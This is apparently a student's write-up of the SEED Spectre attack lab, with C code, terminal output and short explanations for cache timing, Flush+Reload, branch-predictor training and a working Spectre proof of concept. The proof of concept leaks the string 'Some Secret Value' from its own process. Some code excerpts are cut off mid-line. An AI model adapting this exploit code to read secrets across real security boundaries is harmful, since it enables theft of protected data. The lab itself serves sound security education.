Spectre Attack Lab

Task1: Reading from Cache versus from Memory

Code:

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[10*4096];

int main(int argc, const char **argv) {
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  // Initialize the array
  for(i=0; i<10; i++) array[i*4096]=1;
  // FLUSH the array from the CPU cache
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);
  // Access some of the array items
  array[3*4096] = 100;
  array[7*4096] = 200;
  for(i=0; i<10; i++) {
    addr = &array[i*4096];
    time1 = __rdtscp(&junk);   junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  }
  return 0;
}
```

Result:

```
[10/10/19]seed@VM:~$ gcc -march=native CacheTime.c
[10/10/19]seed@VM:~$ a.out
Access time for array[0*4096]: 82 CPU cycles
Access time for array[1*4096]: 158 CPU cycles
Access time for array[2*4096]: 164 CPU cycles
Access time for array[3*4096]: 38 CPU cycles
Access time for array[4*4096]: 160 CPU cycles
Access time for array[5*4096]: 160 CPU cycles
Access time for array[6*4096]: 162 CPU cycles
Access time for array[7*4096]: 26 CPU cycles
Access time for array[8*4096]: 160 CPU cycles
Access time for array[9*4096]: 160 CPU cycles
[10/10/19]seed@VM:~$ a.out
Access time for array[0*4096]: 78 CPU cycles
Access time for array[1*4096]: 154 CPU cycles
Access time for array[2*4096]: 156 CPU cycles
Access time for array[3*4096]: 26 CPU cycles
Access time for array[4*4096]: 160 CPU cycles
Access time for array[5*4096]: 156 CPU cycles
Access time for array[6*4096]: 152 CPU cycles
Access time for array[7*4096]: 22 CPU cycles
Access time for array[8*4096]: 162 CPU cycles
Access time for array[9*4096]: 156 CPU cycles
```

Explanation:

Array[3*4096] and array[7*4096] faster than that of other elements.

Task2: Using Cache as a Side Channel

Code:

```
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[256*4096];
int temp;
char secret = 94;
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void victim()
{
  temp = array[secret*4096 + DELTA];
}
void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
   addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&junk);
   junk = *addr;
   time2 = __rdtscp(&junk) - time1;
   if (time2 <= CACHE_HIT_THRESHOLD){
        printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
   }
  }
}

int main(int argc, const char **argv)
{
  flushSideChannel();
  victim();
  reloadSideChannel();
  return (0);
}
```

Result:

```
[10/10/19]seed@VM:~$ gcc -march=native FlushReload.c
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$
```

Explanation:

I get secret is 94 at 20 times.

Task3: Out-of-Order Execution and Branch Prediction

Code:

```
void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
        printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
    }
  }
}

void victim(size_t x)
{
  if (x < size) {
  temp = array[x * 4096 + DELTA];
  }
}

int main() {
  int i;
  // FLUSH the probing array
  flushSideChannel();
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
   _mm_clflush(&size);
   victim(i);
  }
  // Exploit the out-of-order execution
  _mm_clflush(&size);
  for (i = 0; i < 256; i++)
   _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);
  // RELOAD the probing array
  reloadSideChannel();
  return (0);
```

Result:

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreExperiment.c
[10/10/19]seed@VM:~$ a.out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/10/19]seed@VM:~$ a.out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/10/19]seed@VM:~$ a.out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/10/19]seed@VM:~$
```

Explanation:

From the result above, we could see "temp = array[x*4096 + DELTA]" has been executed.

1) Comment out the line marked with ☆

   ```
   [10/10/19]seed@VM:~$ gcc -march=native SpectreExperiment.c
   [10/10/19]seed@VM:~$ a.out
   [10/10/19]seed@VM:~$ a.out
   ```

   The command doesn't execute. Because we haven't flushed the variable size from memory, so the check interupt the out of order execution right now.

2) Replace Line 4 with victim(i+20)

   ```
   [10/10/19]seed@VM:~$ gcc -march=native SpectreExperiment.c
   [10/10/19]seed@VM:~$ a.out
   [10/10/19]seed@VM:~$ a.out
   [10/10/19]seed@VM:~$
   ```

From the result we could see that command has not been executed, because the branch prediction, we trained it to go to false branch.

Task4: The Spectre Attack(stealing data from same process)

Code:

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

unsigned int buffer_size = 10;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256*4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x < buffer_size) {
     return buffer[x];
  } else {
     return 0;
  }
}

void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}
```

```c
void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
        printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
    }
  }
}
void spectreAttack(size_t larger_x)
{
  int i;
  uint8_t s;
  volatile int z;
  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++) {
   _mm_clflush(&buffer_size);
   restrictedAccess(i);
  }
  // Flush buffer_size and array[] from the cache.
  _mm_clflush(&buffer_size);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++) { }
  // Ask restrictedAccess() to return the secret in out-of-order execution.
  s = restrictedAccess(larger_x);
  array[s*4096 + DELTA] += 88;
}

int main() {
  flushSideChannel();
  size_t larger_x = (size_t)(secret - (char*)buffer);
  spectreAttack(larger_x);
  reloadSideChannel();
  return (0);
}
```

Result:

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreAttack.c
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
```

Explanation:

We can see two secret are printed out: one is zero, and the other is 83, which is ASCII value of S. The return value of the function restrictedAccess() is always zero if the argument is larger than the buffer size.

Task5: Improve the Attack Accuracy

Code:

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

unsigned int buffer_size = 10;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256*4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x < buffer_size) {
     return buffer[x];
  } else {
     return 0;
  }
}

void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

static int scores[256];
void reloadSideChannelImproved()
{
int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
      scores[i]++; /* if cache hit, add 1 for this value */
  }
}
```

```c
void spectreAttack(size_t larger_x)
{
  int i;
  uint8_t s;
  volatile int z;
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  // Train the CPU to take the true branch inside victim().
  for (i = 0; i < 10; i++) {
    _mm_clflush(&buffer_size);
    for (z = 0; z < 100; z++) { }
    restrictedAccess(i);
  }
  // Flush buffer_size and array[] from the cache.
  _mm_clflush(&buffer_size);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  // Ask victim() to return the secret in out-of-order execution.
  for (z = 0; z < 100; z++) { }
  s = restrictedAccess(larger_x);
  array[s*4096 + DELTA] += 88;
}

int main() {
  int i;
  uint8_t s;
  size_t larger_x = (size_t)(secret-(char*)buffer);
  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0;
  for (i = 0; i < 1000; i++) {
    spectreAttack(larger_x);
    reloadSideChannelImproved();
  }
  int max = 0;
  for (i = 0; i < 256; i++){
   if(scores[max] < scores[i])
     max = i;
  }
  printf("Reading secret value at %p = ", (void*)larger_x);
  printf("The  secret value is %d\n", max);
  printf("The number of hits is %d\n", scores[max]);
  return (0);
}
```

Result:

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreAttackImproved.c
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe80c = The  secret value is 0
The number of hits is 1000
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe80c = The  secret value is 0
The number of hits is 1000
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe80c = The  secret value is 0
The number of hits is 1000
[10/10/19]seed@VM:~$
```

Explanantion:

The return value of the function restrictedAccess() is always zero if the argument is larger than the buffer size.

We could change Line 3 to initialize the value max with 1 instead of 0, basically excluding scores[0] from the comparision

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreAttackImproved.c
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 266
[10/10/19]seed@VM:~$
```

Now we get the value S.

Task6: Steal the Secret String

We just need to increase the value of larger_x by one and repeat this attack.

Code:

```
int main() {
   int i;
   uint8_t s;
   size_t larger_x = (size_t)(secret-(char*)buffer);
for (int it = 0; it < 17;it++) {
   flushSideChannel();
   for(i=0;i<256; i++) scores[i]=0;
   for (i = 0; i < 1000; i++) {
     spectreAttack(larger_x+ it);
     reloadSideChannelImproved();
   }
   int max = 1;
   for (i = 1; i < 256; i++){
    if(scores[max] < scores[i])
      max = i;
   }
   printf("Reading secret value at %p = ", (void*)larger_
   printf("The  secret value is %d\n", max);
   printf("The number of hits is %d\n", scores[max]);
}
   return (0);
}
```

Result:

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreAttackImproved.c
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe82c = The  secret value is 83
The number of hits is 209
Reading secret value at 0xffffe82c = The  secret value is 111
The number of hits is 172
Reading secret value at 0xffffe82c = The  secret value is 109
The number of hits is 198
Reading secret value at 0xffffe82c = The  secret value is 101
The number of hits is 261
Reading secret value at 0xffffe82c = The  secret value is 32
The number of hits is 271
Reading secret value at 0xffffe82c = The  secret value is 83
The number of hits is 155
Reading secret value at 0xffffe82c = The  secret value is 101
The number of hits is 184
Reading secret value at 0xffffe82c = The  secret value is 99
The number of hits is 124
Reading secret value at 0xffffe82c = The  secret value is 114
The number of hits is 190
Reading secret value at 0xffffe82c = The  secret value is 101
The number of hits is 252
Reading secret value at 0xffffe82c = The  secret value is 116
The number of hits is 191
Reading secret value at 0xffffe82c = The  secret value is 32
The number of hits is 117
Reading secret value at 0xffffe82c = The  secret value is 86
The number of hits is 256
Reading secret value at 0xffffe82c = The  secret value is 97
The number of hits is 310
Reading secret value at 0xffffe82c = The  secret value is 108
The number of hits is 125
Reading secret value at 0xffffe82c = The  secret value is 117
The number of hits is 151
Reading secret value at 0xffffe82c = The  secret value is 101
The number of hits is 98
```

The value is “Some Secret Value”